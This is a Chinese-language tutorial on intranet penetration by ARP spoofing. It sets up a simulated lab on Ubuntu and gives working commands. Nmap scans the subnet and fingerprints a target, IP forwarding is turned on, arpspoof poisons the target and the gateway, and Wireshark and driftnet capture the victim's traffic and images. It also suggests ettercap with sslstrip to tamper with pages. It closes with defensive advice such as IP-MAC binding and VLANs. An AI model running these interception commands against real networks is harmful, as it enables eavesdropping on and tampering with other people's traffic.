内网渗透初步:基于ARP欺骗的流量劫持

转载[1] && 概念验证

工具安装

Nmap(网络探测工具和安全/端口扫描器)

1
sudo apt-get install nmap

Arpspoof(ARP欺骗)
ARP欺骗工具,工作原理就是不断的向目标发送ARP数据包,包内容为“我是XXX,请把发给XXX的数据包发给我”。

1
sudo apt-get install dsniff

Ettercap(数据包嗅探和篡改)
Ettercap,“中间人”攻击利器,ARP欺骗、DNS欺骗、数据包替换等等,十分强大,不可细说,详细使用方式参考手册(man ettercap)。

Driftnet
抓取经过本机的网络数据包中的图片并显示,同时支持抓取和显示音频文件(来源man手册)

1
sudo apt-get install driftnet

环境模拟

实验环境

1
2
3
4
Distributor ID: Ubuntu
Description: Ubuntu 14.04.3 LTS
Release: 14.04
Codename: trusty

信息收集

网段主机查询

1
nmap -sP 192.168.1.0/24

详细使用方法参考NmapManual

锁定目标

该步不是必需。选定目标为主机A(这里假定IP地址为192.168.1.110),使用命令”nmap 192.168.1.110”可获得主机A的详细情况,如服务端口开放情况,操作系统类型等信息。

1
nmap -A 192.168.1.110

开启IP转发和ARP欺骗

网关查询

1
ip route show

该步仅针对交换式局域网,共享式局域网可以忽略(共享式网络只要打开网卡的混杂模式就可以抓取所有内网数据包),ARP欺骗一般目的是把自己伪装成网关,但如果不作处理,当被欺骗数据包到达后就会被本机丢弃(因为自己到底不是网关,还不知道如何处理这类数据包),这当然是不允许的。开启IP转发功能可以解决该问题,IP转发负责把该类数据包再转发给真正的网关处理,开启IP转发的方法(注意使用root操作第二条命令)

1
2
3
4
sudo su
echo 1 > /proc/sys/net/ipv4/ip_forward
sudo arpspoof -i eth0 -t 192.168.1.110 192.168.1.1
sudo arpspoof -i eth0 -t 192.168.1.1 192.168.1.110

“-i eth0”指定设备节点,无线网络时可能是”-i wlan0”; - “-t 192.168.1.xxx”指定欺骗对象,如果不指定该项,则欺骗对象为整个网络(ARP病毒引起局域网瘫痪就是这么干的,操作前需注意),最后一个参数”192.168.1.xxx”指伪装目标。

echo 1 > /proc/sys/net/ipv4/ip_forward
就是将IP转发的开关置为1
这里顺带可以用以下命令检查IP转发开关情况

1
cat /proc/sys/net/ipv4/ip_forward

数据抓包

该步不是必需。抓包分析只是为了辅助需要(通过分析数据包流量情况监控攻击工程,同时也是深入理解攻击原理的有效方法),使用wireshark工具抓取所有和主机A相关的数据包,过滤掉不相关数据包,只抓取主机A发出或者发给主机A的数据包。启动wireshark:

1
sudo wireshark

数据包的数量非常强大,写出优秀的过滤条件是成功渗透的关键:
以下仅提供最基础的过滤条件

1
ip.addr == 192.168.1.110

图片抓包

抓取主机A http流量中的图片,通过driftnet工具实现,运行下面命令

1
sudo driftnet -i eth0

其他例如篡改主机A访问的页面,可以通过ettercap工具实现。ettercap是个强大的工具,再配合sslstrip降级SSL,基本可以为所欲为。 ettercap详细使用方法请参考man手册(man ettercap),这里有一篇文章可以参考一二。

如何防范中间人攻击

安全形势如此严重,不得不防啊。但安全总是有成本和代价的,下面建议供参考。

对于交换式局域网,重点守住以下几条:

  1. 交换机端口绑定IP和MAC
  2. 多划分VLAN,这样如果被入侵的话,影响范围会更小。
  3. 在客户端把网关IP和MAC地址静态绑定。
  4. 路由器静态绑定IP和MAC。

对于共享式局域网,这一般是在家里、街上或者出租房中合伙使用的无线路由器下的网络。也是重点守着两条:

  1. 不要随便连接未知无线网络;
  2. 管理好自己家里的无线路由器,最好使用WPA加密方式,并定期检察安全情况。

参考资料

[1] 局域网安全为何如此不堪:演习一次内网攻击
[2] Linux渗透之Ettercap详解
[3] Ettercap简要原理介绍以及使用说明
[4] MITM原理简介
[5] 通过伪造CA证书,实现SSL中间人攻击
[6] 流量劫持是如何产生的
[7] 内网DNS投毒技术劫持会话
[8] Linux下ARP的解决方案 网盘
[9] web中间人攻击的威胁

案例分析

[1] 你是从哪个细节发现女朋友出轨的
[2] 路由器被蹭网后,我有被黑的风险吗 - Evi1m0
[3] 利用linux渗透公司内网全过程
[4] DHCP中间人攻击之劫持会话

进阶阅读

[1] Best Free Hacking E-Books (PDFs)
[2] 80+ Best Free Hacking Tutorials | Resources to Become Pro Hacker